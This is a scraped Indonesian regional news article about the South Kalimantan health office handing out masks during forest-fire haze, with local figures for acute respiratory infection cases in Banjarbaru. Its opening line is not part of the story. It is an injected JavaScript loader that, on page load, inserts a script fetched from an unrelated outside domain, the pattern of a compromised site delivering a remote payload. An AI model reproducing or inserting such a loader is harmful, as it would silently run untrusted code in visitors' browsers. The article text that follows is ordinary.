(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Dinas Kesehatan Kalsel mulai membagikan masker mengantisipasi semakin parahnya kasus Karhutla. Langkah tersebut guna mencegah semakin parahnya kasus penderita gangguan pernafasan akut (ISPA) di berbagai daerah.
Sebanayk 10 ribu masker masker ramah lingkungan dibagikan Dinkes di tiga titik. Masker tersebut dibagikan kepada pengguna jalan di Banjarmasin, Jumat (6/9). Yakni di Simpang 3 Terminal Km 6, Jalan Ahmad Yani, lalu Simpang 4 Kantor Pos, Jl Lambung Mangkurat, dan bundaran Kayutangi, Jalan H Hasan Basri. (Baca: ISPA di Banjarbaru Capai 26.664 Orang, Kabut Asap Mulai Bikin Cemas Penerbangan!)
Kepala Dinas Kesehatan melalui Kepala Bidang P2P, Dr. Bandiyah Marifah yang memimpin pembagian masker meminta agar anak-anak dan bayi tidak dibawa ke luar ruangan. “Bagi yang memiliki bayi dan anak anak, disarankan untuk tidak membawa anak keluar rumah. Begitupun dengan para lansia,†katanya.
Di sisi lain, penggunaan masker diharapkan dapat mengedukasi masyarakat untuk selalu menjaga kesehatan saat beraktivitas di luar ruangan. Sebab, asap yang ditimbulkan dari Karhutla bisa memicu masalah kesehatan.
Masker ramah lingkungan yang dibagikan diyakini efektif bisa menyaring serta menangkal dampak dari polusi udara penyebab penyakit ISPA. Dr Bandiyah Marifah juga mengingatkan agar masker tersebut digunakan satu kali pakai. “Jadi kalau mencegah dampak polusi udara kita harus memakai masker secara konsisten yang bisa didaur ulang,†tuturnya.
Di tempat terpisah, Kabid P2P (Pencegahan dan Pengendalian Penyakit) Dinkes Banjarbaru, Hairul Fahmi menjelaskan ada dua kategori dalam kasus ISPA, yakni dari usia bawah lima tahun (Balita) serta di atas usia lima tahun.
Disebutkan Fahmi, pada 2019 ini sejak Januari hingga Juli terdata kasus ISPA di Banjarbaru totalnya mencapai 26.664. Dari total ISPA ini, di bawah lima tahun totalnya mencapai 8.314. Sedangkan untuk usia di atas lima tahun mencapai 18.350 kasus.
“Meningkat ya dari tahun 2018, sebab di tahun 2018 itu totalnya 23.177 kasus. Untuk data kasus balita ada di 7886 dan di atas lima tahun 15291 kasus. Lokasi yang banyak kasus ISPA menimpa dikawasan Cempaka dibanding dengan kawasan lainnya.
Maraknya peristiwa Karhutla selama beberapa bulan terahir juga berpengaruh terhadap meningkiatnya kasus ISPA. Apalagi musim kemaru cukup panjang dibanding tahun sebelumnya. Berbeda pada tahun lalu, yang cenderung banyak curah hujan dan kasus DBD yang meningkat.
Untuk antisipasi ISPA, ungkap Fahmi, pihaknya juga sudah intens melakukan sosialisasi terkait bahaya ISPA. Termasuk melakukan penyuluhan lewat puskesmas-puskesmas. Diterangkannya, walau kasus ISPA meningkat dan angkanya mencapai ribuan, sejauh ini tidak ada kasus pasien ISPA yang sampai meningal dunia.(mario)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.